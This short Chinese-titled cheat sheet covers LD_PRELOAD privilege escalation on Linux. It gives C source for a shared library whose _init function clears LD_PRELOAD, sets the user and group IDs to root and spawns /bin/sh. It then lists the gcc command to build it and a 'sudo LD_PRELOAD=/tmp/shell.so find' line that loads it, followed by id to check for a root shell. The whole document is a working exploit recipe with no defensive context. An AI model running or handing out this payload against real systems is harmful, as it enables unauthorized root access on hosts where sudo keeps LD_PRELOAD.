LD_Preload提权

	#include <stdio.h>
	#include <sys/types.h>
	#include <stdlib.h>
	void _init() {
		unsetenv("LD_PRELOAD");
		setgid(0);
		setuid(0);
		system("/bin/sh");
	}

>gcc -fPIC -shared -o shell.so shell.c -nostartfiles
>ls -al shell.so
>sudo LD_PRELOAD=/tmp/shell.so find
>id